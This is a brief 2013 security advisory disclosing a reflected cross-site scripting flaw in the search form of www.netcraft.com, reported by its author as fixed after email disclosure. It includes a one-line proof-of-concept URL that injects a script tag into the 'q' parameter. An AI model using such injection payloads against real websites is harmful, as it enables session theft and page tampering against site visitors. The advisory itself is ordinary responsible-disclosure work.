SSCHADV2013-008 - www.netcraft.com - Search Form Cross-site Scripting vulnerability

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Posted by Stefan Schurtz on Tuesday, May 14. 2013

Advisory:	www.netcraft.com – Search Form Cross-site Scripting vulnerability
Advisory ID:	SSCHADV2013-008
Author:	Stefan Schurtz
Affected Software:	Successfully tested on www.netcraft.com
Vendor URL:	http://www.netcraft.com
Vendor Status:	fixed

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Vulnerability Description
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The ‘q’-Parameter in the Search Form on www.netcraft.com is prone to a XSS vulnerability

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PoC-Exploit
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// IE8 & IE 10 & Aurora 8.0

http://www.netcraft.com/search/?q=127.0.0.1"></iframe><script>alert(document.domain)</script>&submit=Search&submit=Search

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Solution
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fixed

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Disclosure Timeline
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12-May-2013 – vendor informed by email
13-May-2013 – feedback from vendor

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Credits
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Vulnerability found and advisory written by Stefan Schurtz.

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References
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http://www.netcraft.com
http://www.darksecurity.de/advisories/2013/SSCHADV2013-008.txt

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